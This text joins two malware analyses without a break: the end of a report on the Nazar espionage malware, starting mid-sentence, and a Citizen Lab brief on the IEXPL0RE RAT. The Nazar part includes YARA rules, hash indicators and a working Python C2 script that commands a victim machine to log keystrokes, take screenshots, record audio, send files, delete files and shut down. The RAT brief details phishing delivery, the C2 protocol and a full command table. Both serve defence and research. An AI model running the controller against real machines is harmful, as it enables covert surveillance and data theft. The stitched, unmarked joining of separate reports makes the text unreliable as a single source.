the DLL which is in the spotlight of SIG37, and the one that started this manhunt after the unknown malware. Before it was caught by law-abiding security analysts, one could imagine `Godown.dll` to be the mastermind behind this whole operation, the component to control them all, some hidden gem, or an unseen rose. In reality, `Godown.dll` is a tiny DLL with one and only goal – to shut down the computer. Believe us, we tried hard to find any hidden or mysterious functionality inside the binary, but nothing was there, except a shutdown command. The reasons to take 5 lines of C code and place them in a DLL, put it in `Data.bin`, drop it to the disk, register it as a COM DLL using `regsvr32` and then call it indirectly using GUID – are beyond our understanding. But well, it was good enough of a lead to revealing Nazar, and for that, we should be thankful. ### Filesystem.dll Out of all the modules used in this attack, `Filesystem.dll` might be the only one whose code was actually written by the attackers themselves. The purpose of this module is to enumerate drives, folders and files on the infected system and write the final results to two text files: `Drives.txt` and `Files.txt`. We were able to get our hands on two versions of this module that were created a year apart, both of which included PDB paths that mentioned a folder with the Persian name Khzer (or ﺮﻀﺧ): ``` C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb ``` Upon closer inspection, there are some differences between the two paths: One starts with the `C:\\` partition while the other starts with `D:\\`, one uses `Khzer` (uppercase) while the other uses `khzer` (lowercase), and so on. This might indicate that the two versions of the module were not compiled in the same environment, and is further strengthened by some of the included headers’ paths, which show that Visual Studio was installed in two different locations. But these are not the only differences between the two versions: while the `Filesystem.dll` module was dropped by all the known variants of `gpUpdates.exe`, it was not always used in the same manner. For example, versions of `svchost.exe` dating back to 2010 have three commands that have since been omitted: “211”, “212”, and “213”. Those commands allow `svchost.exe` to register the dropped DLL modules using `regsvr32`, a functionality that was later migrated to `Distribute.exe`. Then, when a command is received by the C2 to collect the files and drives on the system, the `Filesystem.dll` module is called after it was registered: On the other hand, a more recent version of `svchost.exe` that was created in 2012 replicates the file and drive lookup functionalities found in `Filesystem.dll` when receiving the “199” and “200” commands from the C2, and performs the search itself. Therefore, even though it is still dropped in this case, it appears that the `Filesystem.dll` module is not used in the newer versions of Nazar. ### hodll.dll The `hodll.dll` module is responsible for recording the user’s keystrokes. It is done, as most keyloggers do, by setting a Windows hook for keyboard inputs. While there are many implementations of keyloggers available, we believe that this implementation is based on one or more open-source projects. Specifically, we believe that the code was taken from common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph) or by a fork of these projects, as many are available. In fact, the samples of `hodll.dll` we put our hands on, looked like they were built from different layers of open source projects. In a way, it looked like someone copied code from the internet, and then deleted it partially, and took other code, and deleted it as well, and so on. The final result contained evolutionary pieces from multiple layers of code. ### ViewScreen.dll This DLL is based on a known open-source project named “BMGLib” and it is used to take screenshots of the victim’s computer. No major changes, if any, were added to the original source, and this is yet another example of how the Nazar malware uses an entire library just for a small task. ## Conclusion In this article, we tried to gather all the information we learned about Nazar since its recent exposure. We dived deep into each and every one of the components and tried to solve as many mysteries as possible. The leaked information by the Shadow Brokers taught us that the NSA knew about Nazar for many years, and thanks to other researchers, the community was able to strikethrough another unknown malware family from the list of signatures in “TeDi”. Many of the signatures in “TeDi” described advanced and novel malware families, but this does not appear to be the case with Nazar. As we have shown in the article, the quality of the code, as well as the heavy usage of open source libraries, does not match the profile of a shrewd threat actor. And although we tried to cover everything, there are still many unanswered questions surrounding those discoveries: What happened to the Nazar group, did they evolve into other groups that are nowadays known under different names? Are they still active? Are there more samples out there? With those questions and others on our minds, we cannot help but leave this open-ended. ## Appendix ### Appendix A: Yara Rules In his blog post, Juan published Yara rules to ease detection. The rules are well written and cover the different components. We want to share some rules we created during our analysis, to add to the existing rules. ```yara rule apt_nazar_svchost_commands { meta: description = "Detect Nazar's svchost based on supported commands" author = "Itay Cohen" date = "2020-04-26" reference = "<https://www.epicturla.com/blog/the-lost-nazar>" hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6" hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728" strings: $str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 } $str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 } $str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 } $str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 } $str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 } condition: 4 of them } rule apt_nazar_component_guids { meta: description = "Detect Nazar Components by COM Objects' GUID" author = "Itay Cohen" date = "2020-04-27" reference = "<https://www.epicturla.com/blog/the-lost-nazar>" hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f" hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390" hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e" hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6" hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8" hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca" hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6" hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec" hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b" hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728" hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65" hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61" hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3" strings: $guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE } // Godown.dll IID $guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 } // Godown.dll CLSID $guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 } // probably Godown $guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 } // Filesystem.dll CLSID $guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D } // Filesystem.dll TypeLib IID $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } // Filesystem.dll condition: any of them } ``` ### Appendix B: Indication of Compromises | File | Sha-256 | |-------------------|---------| | gpUpdates.exe | 4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca | | | d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65 | | | eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3 | | Data.bin | d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61 | | | 75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6 | | | 2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e | | Distribute.exe | 839c3e6ba65e5d07a2e0c4dd4a2c0d7ae95a266431dd3f8971b8a37d17b1ddf6 | | | 6b8ea9a156d495ec089710710ce3f4b1e19251c1d0e5b2c21bbeeab05e7b331f | | Filesystem.dll | 1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390 | | | 460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8 | | | 1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f | | Hodll.dll | 0c09fedc5c74f90883cd3256a181d03e4376d13676c1fe266dbd04778a929198 | | Godown.dll | 967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b | | | 8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec | | svchost.exe | 2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6 | | | be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728 | | ViewScreen.dll | 5a924dec60c623cf73f5b8505e11512ad85e62ac571a840ab0ff48d4a04b60de | | (benign) | | | pssdk41.sys | 048208864c793a670159723b38c3ea1474ccc62e06b90833bdf1683b8026e12f | | (benign) | | | lame_enc.dll | c84100d52c09703e32951444bd7ba4e22c5d41193e7420aacbbc1f736f4c4e1f | | (benign) | 0091e2101f00751c4020ef8e115cfe12a284c9abacc886f549b40a62574a7510 | ### Appendix C: Python Server ```python from scapy.all import * import struct import socket import hexdump import argparse DST_PORT = 1234 SERVER_PORT = 4000 ID = struct.unpack('>H', struct.pack('<H', 4000))[0] def get_response(sock, should_loop): started = False total_payload = b'' while(should_loop or not started): try: payload, client_address = sock.recvfrom(4096) except ConnectionResetError: payload, client_address = sock.recvfrom(4096) total_payload += payload if (len(payload) >= 4 and payload[:3] == b'---' and payload[4] >= ord('0') and payload[4] <= ord('9')): should_loop = False started = True hexdump.hexdump(total_payload) MENU = """Welcome to NAZAR. Please choose: 999 - Get a ping from the victim. 555 - Get information on the victim's machine. 311 - Start keylogging (312 to disable). 139 - Shutdown victim's machine. 189 - Screenshot (313 to disable). 119 - Record audio from Microphone (315 to disable). 199 - List drives. 200 - List recursively from directory*. 201 - Send a file*. 209 - Remove file*. 599 - List devices. * (append a path, use double-backslashes) quit to Quit, help for this menu. """ def get_message(): while True: curr_message = input('> ').strip() if 'quit' in curr_message: return None if 'help' in curr_message: print(MENU) else: return curr_message def get_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server_address = '0.0.0.0' server = (server_address, SERVER_PORT) sock.bind(server) return sock def main(ip_addr): sock = get_sock() print(MENU) multi_packets = ["200", "201", "119", "189", "311", "199", "599"] single_packets = ["999", "555"] all_commands = single_packets + multi_packets while True: curr_message = get_message() if not curr_message: break sr1( IP(dst=ip_addr, id=ID) / UDP(sport=SERVER_PORT, dport=1234) / Raw(load=curr_message), verbose=0 ) command = curr_message[:3] if command not in all_commands: continue should_loop = command in multi_packets get_response(sock, should_loop) if __name__ == '__main__': parser = argparse.ArgumentParser(description="victim's IP") parser.add_argument('ip') args = parser.parse_args() main(args.ip) ```
# CITIZEN LAB TECHNICAL BRIEF ## IEXPL0RE RAT **BY SETH HARDY | AUGUST 2012** ### INTRODUCTION This report describes a remote access trojan (RAT) that three human rights-related organizations taking part in a Citizen Lab study on targeted cyber threats against human rights groups received via email in 2011 and at the end of 2010. Here we refer to it as the IEXPL0RE RAT, after the name of the launcher program. It was first called “Sharky RAT” in Seth Hardy’s talk at SecTor 2011. Since then it has also been referred to as c0d0so0 and possibly Backdoor.Briba. A RAT is a program that allows a remote user full access to a computer. This type of program can be used for legitimate reasons. In these cases, RAT can also stand for remote administration tool. In the case of the IEXPL0RE RAT, the remote user has the ability to record user keystrokes (including passwords), copy and delete files, download and run new programs, and even use the computer’s microphone and camera to listen to and watch the user in real-time. RATs are common in targeted malware attacks against human rights organizations and other NGOs. Targeted attacks with this sort of payload are often referred to as advanced persistent threats (APTs). APTs differ from other traditional computer attacks in that they are designed to be quiet and collect data over time, and act as a starting point for future tracking and compromise of targets. It is not uncommon for an APT infection to persist for months or even years after the malicious program is first run. ### ATTACK VECTOR Attempted delivery of the malware was via email attachment, employing social engineering techniques. The emails that contained the attached IEXPL0RE RAT were different every time, with a unique email and delivery method used for each attempt, including multiple versions targeted at the same organization. Each email was tailored specifically for the target, both in terms of subject, content, and the way the RAT was attached and hidden. **Organization 1:** A human rights NGO received multiple emails with interesting keywords from senders claiming to be from personal friends. These emails included an executable attachment in a password-protected archive, which helps prevent detection by antivirus software. The password was included in the email address. **Organization 2:** A news organization operating a website that reports on developments in China received an email containing a story about a high-rise apartment building fire. Attached to the email were four images and two executable files (.scr extensions) designed to look like images using the Unicode right-to-left override character. When each executable file is run, it will install and launch the malware, drop an image, open the image, and delete itself. The end result is that only an image is left, making the email look more legitimate if the malware is run. **Organization 3:** A Tibet-related organization received two emails with different versions of the malware attached. The first file was an executable file designed to appear as a video of a speech by the Dalai Lama, attached to an email about a year review of Tibetan human rights issues. The second file was embedded in an Excel spreadsheet attached to an email pretending to be from a conference on climate change. Emails that contain malicious attachments use a variety of social engineering techniques to appear more legitimate. Methods include using names of real people and organizations, choosing material that is directly related to the target’s interests, and including chains of fake forwards to make it appear as if the email has been circulated. Including the attachments in a RAR file makes them less likely to be discovered by an antivirus (AV) scanner. Putting a password on the archive and including it in the email reduces the chances of AV discovery even further. A newer version of the RAT payload was later distributed via email in multiple RTF documents to Organization 3. The RTF dropped a DLL alongside a legitimate program vulnerable to DLL injection, allowing the program to run without a warning that the program is not digitally signed. StrokeIt, a program for using mouse gestures, uses a file named config.dll without verifying the authenticity of the file. By replacing config.dll with the RAT downloader, the malicious code is run while appearing more legitimate to the operating system. ### MALWARE The IEXPL0RE RAT is delivered inside an executable program or document, which is custom-generated for each email. When a user opens the document or runs the program, it installs a launcher program on the computer. Antivirus programs frequently fail to detect the launcher program as malicious, as it is custom built for each specific target: the file contains a configuration file unique to the target, which is different each time it is sent out. This method is used to defeat signature-based antivirus programs, which only scan for files that are known to be malicious. As the launcher program is newly generated every time, it will never end up on a signature list until after it is already been used. Once installed on a system, the launcher program goes through multiple programs to unpack a contained file (the actual RAT) before it can run. The IEXPL0RE.EXE (or other launcher) program contains multiple programs, layered like an onion, which eventually unpack a DLL (dynamic link library, another form of executable file). The file name varies, but starts with “perf” and has an extension of .dat, and is saved to the %temp% folder (often C:\Documents and Settings\user\Local Settings\Temp). Once the perf*.dat file is saved to disk, it runs (via injection into svchost.exe, a Windows program) and extracts another DLL into memory. This program is called “ContainerV2,” as it is referenced from within the program, although it is never written to the disk. ContainerV2 connects to the Internet and downloads another DLL called “client.” The client is also kept in memory and never written to the disk. Once downloaded, ContainerV2 will run the client, which does all of the IEXPL0RE RAT work. For Organization 1, the executable launch process looks like this: - .exe (attached file, launcher): appears as a text document; when run, displays a fake error message saying the file can’t be found - csv.exe (runs and exits quickly) - 360tray.exe (runs and exits quickly) - svchost.exe (with injected perf*.dat code) - ContainerV2 (injected into svchost.exe) - client (downloaded and run in memory) One advantage of downloading the final stage is that if the attacker wanted to update the RAT software (to add new functionality for example), it can be done very easily. Because code is downloaded every time the malware starts, if the code is changed on the server side, existing compromised machines will automatically update themselves the next time they are restarted. Over the time spent analyzing this malware, the client program did have minor changes, possibly bug fixes. MD5 hashes, also called message digests, are often used to identify a file based on its content. A hash is a string of hexadecimal characters that identifies a file. Should the file change in any way, the hash will as well. Hashes are designed to be easy to compute from a full file, but it is very difficult to find two files with the same hash. Use of hashes in the context of the IEXPL0RE RAT is difficult, as the downloaded client may change, and the ContainerV2 program is different for every target. One of the main differences that guarantees that the hash will always be unique is that the configuration file for the RAT (including which command and control servers to connect to) is included in the program. For reference some MD5 hashes of IEXPL0RE components include: **ORIGINAL ATTACHMENT:** - Organization 1: d7c826ac94522416a0aecf5b7a5d2afe (EXE) - Organization 2: 66e1aff355c29c6f39b21aedbbed2d5c (SCR) - Organization 3: 21a1ee58e4b543d7f2fa3b4022506029 (EXE) - Organization 3: 8d4e42982060d884e2b7bd257727fd7c (XLS) **CONTAINERV2:** - Organization 1: d46d85777062afbcda02de68c063b877 - Organization 2: 85e8c6ddcfa7e289be14324abbb7378d **ORGANIZATION 2 CLIENT (ONLY ACTIVE COMMAND AND CONTROL SERVER):** - November 1, 2011: eb51b384fcbbe468a6877f569021c5d1 - November 29, 2011: 8268297c1b38832c03f1c671e0a54a78 (current as of July 20, 2012) ### INFECTION Once the launcher program is run, it will install the IEXPL0RE binary and a startup link in the Start Menu: - C:\Documents and Settings\All Users\Start Menu\Programs\Startup\IEXPL0RE.LNK - C:\Documents and Settings\user\Application Data\Microsoft\Internet Explorer\IEXPL0RE.EXE It also leaves traces of the extracted binary and the link file in %temp%: - C:\Documents and Settings\user\Local Settings\Temp\31A.tmp - C:\Documents and Settings\user\Local Settings\Temp\perf6cd2e5e9.dat The RAT also uses a few files for configuration and recording keystrokes: - C:\WINDOWS\system\lock.dat - C:\WINDOWS\system\MSMAPI32.SRG - C:\WINDOWS\system32\STREAM.SYS When run, IEXPL0RE will connect to a command and control (C2) server for updates, sending keylogger data, and asking for RAT commands. The C2 server is specified in a configuration file built into the RAT program. Each RAT instance is likely built using a packaging program. The configuration file allows for a primary server and an alternate, and may use either a domain or IP. Each of the IEXPL0RE samples analyzed uses a different set of C2 servers. One sample uses two domains that point to the same IP. The IP changes every few days to few weeks, but remains in one network block located in China. Other samples use either a single domain name and no backup, or a fixed IP with a localhost address as backup. The localhost address is a way to find and use a proxy, for example, if a computer is using a circumvention system such as Tor. Of the two samples using fixed IPs, both were sent to the same organization, and one appears to be a replacement for the other. Both C2 servers are currently down. ### C2 COMMUNICATION IEXPL0RE has two different methods of communication: HTTP POST and GET. It also has the ability to use a HTTP CONNECT proxy. POST is the preferred method of communication; if it does not work, it will also attempt a GET connection. All communication from the client to the server is encrypted with a one-byte XOR key 0xCD. POST commands put the data in the request body, while GET commands put the data in URL parameters. Server responses are all 200 OK messages with data in the body. The system keeps track of the communication using a sequence number, which is part of the requested URL. The sequence number is nine digits long, starts at 000000001, and generally increments by one for each packet sent. When authenticated, the sequence number jumps to 000001000; if disconnected, the sequence number returns to the next sub-1000 number expected. **THE HEADERS OF THE REQUEST LOOK LIKE THIS:** ``` POST /index000000001.asp HTTP/1.1 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;) Host: update.microsoft.com Connection: Keep-Alive Content-Type: text/html Content-Length: 000041 ``` The Accept-Language, User-Agent, Connection, and Content-Type headers are always fixed. The Host header is also always fixed as update.microsoft.com; any requests to the C2 server made without this header in place will be rejected, often with a redirect to Microsoft’s website. When run, ContainerV2 communicates with the C2 server, first establishing a socket by a three-way handshake. Below, the text at the start of the arrow indicates the packet type, sequence number, and connection socket. For example, “POST 2 (1)” means that it is using an HTTP POST request, sequence number 2, on the first established connection. Once the first connection has been established, a second connection is made using a similar handshake. When the second connection has been established, the ContainerV2 program uses it to download the client and run it. Once control has been handed off to the client, one connection is used for sending keylogger data from the client to the server, and the other connection is used to request RAT commands from the server. With the protocol reversed, it was straightforward to write a program that communicates with the C2 server, downloads the client, and sends back commands as desired. The program maintains the two sockets, sending heartbeat/command request packets at a specified interval, while sending back empty keylogger packets to trick the server into thinking the system is idle. ### CAPABILITIES The IEXPL0RE RAT contains over 40 commands that an attacker can use to manipulate the file system and registry, download and run additional programs, and find and exfiltrate data. An infected computer defaults to recording keystrokes and sending this data back to the server at regular intervals. The additional commands are there for interactive control of the system in real-time by an attacker. This program is likely used in multiple phases. After infection, the keylogger records data including email addresses and passwords. Once an account’s credentials have been captured, the attacker can log in and set up a forwarding address or download all of the data stored online. Once a compromised machine has been determined useful by looking at the keylogger data, an attacker can use the RAT functionality to download files and install more specific malware - for example, a Skype plugin that records calls. While post-infection behavior from an attacker against a real target has not been observed in this investigation, this is a standard method in targeted attacks. One particular area of interest with this RAT is that it contains a specific functionality for plugins relating to video and audio capture. Each time the malware connects to the command and control server, it sends a list of all video capture devices present on the computer. This behavior may indicate that the attacker is specifically interested in seeing who is on the other end of the computer and is actively collecting data on what the targets look like. ### DETECTION AND MITIGATION A system infected with the IEXPL0RE RAT can be found by looking for presence of the IEXPL0RE files, or by watching network traffic. In addition to the IEXPL0RE.EXE file itself, presence of the perf*.dat files and link files in %temp% are an indicator that the system is infected. The timestamps on the files are an indication of how long the system has been infected. A network intrusion detection system (IDS) can identify infected machines by looking for well-known traffic patterns. The simplest of these is checking for HTTP traffic to /index[0-9]{9}.asp. Blocking this traffic will prevent the infected machine from communicating with the C2 server, receiving new commands, and sending back keylogger data. The C2 IP or hostname can also be blocked directly once it’s found, at the network level or (as a temporary measure) in the infected computer’s hosts file. ### REMOVAL A running copy of IEXPL0RE can be stopped by killing the appropriate svchost process. This process is identifiable as it is not in the correct place in the process tree. The process can be killed with the Process Explorer tool, part of the Sysinternals package. Once the process has been terminated, removal is as simple as deleting the installed files. ### CONCLUSIONS The IEXPL0RE RAT is a good example of the current state of APT attacks, especially those targeting human rights organizations and NGOs. While they are not particularly advanced from a technical standpoint, they are custom designed to appeal to and pique the interest of the recipient. The attacker uses social engineering to get a foot in the door of an organization. All it takes is for one user to run a malicious program that looks like a legitimate video, spreadsheet, or other document. Once running on a user’s machine, the program will silently record passwords and provide the attacker a way of accessing sensitive data. This report describes what is “normal” in this area, by detailing what a common attack looks like at each step of the way, from when an email is first received to when data leaves the network. Many APT campaigns like the one presented in this report exist and continue to steal data every day, but are both avoidable and correctable. The IEXPL0RE RAT is under active development, as both the client and server components are continuously changing. The server in particular has exhibited different behavior over time, mostly related to blocking unauthorized access from the outside world. The presence of development work or upgrades implies that this system is actively used and monitored. ### APPENDIX A: CONFIGURATION FILE The configuration sent to the C2 server on initial connection has the client configuration at the beginning, followed by more information about the infected computer. ### APPENDIX B: COMMAND ENUMERATION The following is a list of all commands present in the IEXPL0RE malware, and a detailed description of what data is received or sent over the network for each command. | CODE | COMMAND | SERVER / CLIENT | DESCRIPTION | |------|---------|-----------------|-------------| | 0x00 | Failure | C | Client response for a variety of commands to indicate that the operation did not succeed. | | 0x01 | Success | C | Client response for a variety of commands to indicate that the operation succeeded. Contains variable data related to the command request. | | 0x01 | Reply file does not exist | C | Reply file for plugin does not exist. Packet contains: [4] - Command code (0x01) | | 0x02 | Reply file over 512kB | C | Reply file for plugin is over 512kB. Packet contains: [4] - Command code (0x02) | | 0x03 | Reply file | C | Reply file for plugin. Packet contains: [var] - buffer -- implemented so always 0? | | 0x03 | Shutdown | S | Sends a shutdown + power off + force command to the system. Requires parameters 0/0. | | 0x04 | Reboot | S | Sends a reboot + force command to the system. Requires parameters 0/0. | | 0x06 | Reconnect | S | Disconnects open connections and reconnects. | | 0x07 | Shut off display | S | Sends WM_SYSCOMMAND message SC_MONITORPOWER to shut off the display. | | 0x0B | Download and install malware | S | Downloads a file, writes it to disk, and possibly executes it. Packet contains: [4] - executable size [var] - executable. Depending on configuration and AV software present, writes the file to IEXPL0RE.EXE (in application data folder, Microsoft subfolder), fxsst.dll (in Windows system directory), or SENS64.DLL (in temp path). May run IEXPL0RE.EXE depending on options; may also install configuration file (STREAM.SYS or Cache). Returns failure or success with parameters 0/0. | | 0x0C | Install dropped files | S | Checks configuration file options and moves the appropriate dropped files to the correct locations (may vary depending on Windows version). Returns failure or success with parameters 0/0. | | 0x0D | Update configuration file | S | Downloads new configuration parameters and writes the updated information to the configuration file. | | 0x0E | Download and run plugin | S | Opens a new connection in a new thread, downloads a file, then runs it (possibly with Internet Explorer credentials). This looks like a plugin activation for screen captures and audio recording -- references offscreen.dll and offsound.dll. | | 0x0F | Download and execute file | S | Downloads a file and runs it. Packet contains: [4] - executable size [var] - executable. Downloads the file to %temp% and executes it. Returns failure or success with parameters 0/0. | | 0x10 | Unknown | S | Updates a values in the lock.dat file and sets an event. | | 0x11 | Unknown | S | Reads a value out of %temp%/screenlog.txt. Returns a success or failure command with parameters 0/0 depending on whether the value read equals 1. | | 0x12 | Unknown | S | Reads a value out of %temp%/offsoundlog.txt. Returns a success or failure command with parameters 0/0 depending on whether the value read equals 1. | | 0x20 | Move file | S | Moves a file or directory. Packet contains: [4] - Source length [var] - Source [4] - Destination length [var] - Destination. Returns failure or success with parameters 1/Res1. | | 0x21 | Delete file | S | Deletes a file or directory. Packet contains: [4] - File name length [var] - File name. Returns a success or failure command with parameters Res2/Res1. | | 0x22 | Create directory | S | Creates a directory. Packet contains: [4] - Path name length [var] - Path name. Returns a success or failure command with parameters Res2/Res1. | | 0x23 | GetSystemInfo request | S | Requests client to send a 0x24 response with the output of GetSystemInfo(). | | 0x24 | GetSystemInfo response | C | Contains a _SYSTEM_INFO struct with the output of GetSystemInfo(). | | 0x26 | Get document paths | S | Gets paths for CSIDL special folders PERSONAL (My Documents), DESKTOP-DIRECTORY (Desktop), and HISTORY (Internet history). Returns a success command containing: [4] - My Documents path length [var] - My Documents path [4] - Desktop path length [var] - Desktop path [4] - Internet history path length [var] - Internet history path. | | 0x29 | Move file or directory | S | Moves a file or directory. Packet contains: [4] - Source length [var] - Source [4] - Destination length [var] - Destination. Returns failure or success with parameters 1/Res1. | | 0x2A | Set file access time and attributes | S | Sets the creation time, last access time, last write time, and file attributes of a file. | | 0x2B | Unknown | S | Does some file-walking, including across all drives available (A to Z). Replies with a 0x2C command followed by a number of 0x2D commands. | | 0x2C | Unknown start response | C | Response to the 0x2B command. Uses parameters Res2/Res1. | | 0x2D | Unknown response | C | Response to the 0x2B command. Uses parameters Res2/Res1. | | 0x2F | Owner name, organization, and serial number request | S | Sends the owner name, organization, and serial number. Returns a success response with the following data: [4] - Username length [var] - Username [4] - User organization length [var] - User organization [4] - Serial length [var] - Serial. | | 0x46 | Read from file | S | Packet contains: [8] - File offset [2] - Characters to read [4] - Length of field 3 [var] - Field 3. Replies with a 0x47 packet containing data from a file. | | 0x47 | Read from file response | C | Response to 0x46 that contains data from a file. Sent with parameters 2/2. | | 0x4B | List files | S | Lists files in a given directory along with file size and last write times. Packet contains [4] - Directory length [var] - Directory. | | 0x4C | Start of list files response | C | Start of list response to 0x4B. Sent with parameters 2/2. | | 0x4D | End of list files response | C | End of list response to 0x4B. Sent with parameters 2/2. | | 0x4E | List files response | C | List item for response to 0x4B. Sent with parameters 2/2. | | 0x4F | Open file | S | Opens a specified file for use with 0x46 [and friends]. Packet contains: [4] - File name length [var] - File name [4] - File mode length [var] - File mode. Returns failure or success with parameters 2/2. | | 0x5A | Start of running program list | C | Response to 0x5D command that signals the start of a list of running programs. | | 0x5B | End of running program list | C | Response to 0x5D command that signals the end of a list of running programs. | | 0x5C | Running program | C | Response to 0x5D command that contains the first executable module for a single process. One packet is sent per process. | | 0x5D | List running programs | S | Sends a list of executable names for running processes. Replies with a 0x5A response, followed with a 0x5C packet for each executable, and ends with a 0x5B response. | | 0x5E | Kill process | S | Kills a running process. Packet contains: [4] - Process ID. Returns failure or success with parameters 3/Res1. | | 0x5F | Run program | S | Runs a program already present on the client. Packet contains: [4] - Command line length [var] - Command line. Returns success or failure with parameters 3/Res1. | | 0x72 | Unknown - open connection B? | S | Creates multiple new threads and a new C2 connection (via full handshake) with connection number 11. | | 0x73 | Unknown - remove connection B? | S | May relate to uninstalling. Packet contains: [4] - Process ID. Kills the process with given process ID, and closes a socket. Returns success or failure with parameters 11/11. | | 0x82 | Number of services | C | Response to 0x85 command with the number of services on the system. | | 0x84 | Service information | C | Response to 0x85 command with details on a service. | | 0x85 | List services | S | Lists all services on the system. Sends a 0x82 response with the number of services, then 0x84 responses with service details. | | 0x86 | Start service | S | Starts a service on the system. | | 0x87 | Control service | S | Sends a control message to a service on the system. | | 0x88 | Create service | S | Creates a new service on the system. | | 0x89 | Delete service | S | Deletes a service from the system. | | 0x8A | Set service options | S | Changes the display name and start type of a service. | | 0x96 | Enumerate registry keys | S | Opens a registry key and enumerates its subkeys. Replies with an 0x97 packet with subkey information. | | 0x97 | Enumerate registry keys response | C | Contains a list of all the subkey names for a given registry key. | | 0x98 | Registry key last write time query | S | Requests the last write time on a specified registry key and returns the information in a 0x99 packet. | | 0x99 | Registry key last write time response | C | Contains the last write time of a registry key. | | 0x9A | Enumerate registry key values | S | Opens a registry key and enumerates its values. Replies with a 0x9B packet with the number of values and maximum size values. | | 0x9B | Start of registry key value enumeration list | C | Response to the 0x9A command signifying the start of a registry key value enumeration. | | 0x9C | Registry key value enumeration item | C | Response to the 0x9A command signifying a registry key value. | | 0x9D | End of registry key value enumeration list | C | Response to the 0x9A command signifying the end of a registry key value enumeration. | | 0x9F | Delete registry key value | S | Deletes a value from a registry key. | | 0xA0 | Change registry key value | S | Changes a value of a registry key. | | 0xA1 | Create empty registry key value | S | Creates a registry key value of a specified type with no value. | | 0xA2 | Create registry key | S | Creates a registry key. Can be a subkey. | | 0xA3 | Set registry key type and value | S | Sets a registry key type and value. | | 0xA4 | NOP | S | Does nothing. Possibly an unimplemented or deleted function. | | 0xA5 | Delete registry key | S | Deletes a registry key. Can be a subkey. | | 0xB6 | Keylogger response | C | Sends keylogger data from the keylogger buffer file. | | 0xB8 | Keylogger data request | S | Requests keylogger data in a 0xB6 packet. | | 0xC8 | Unknown - get a screenshot? | S | Looks suspiciously like taking a screenshot. | | 0xCA | Send keyboard or mouse event | S | Packet contains: [4] - Unknown [4] - Extra information for keybd_event or mouse_event [4] - Flags for keybd_event or mouse_event [4] - Vk for keybd_event [4] - x coordinate for mouse or Vk for keyboard [4] - y coordinate for mouse [4] - Data for mouse event. | | 0xCB | Downloads a file | S | Downloads a file to %temp%\off.dll. | This concludes the report on the IEXPL0RE RAT.
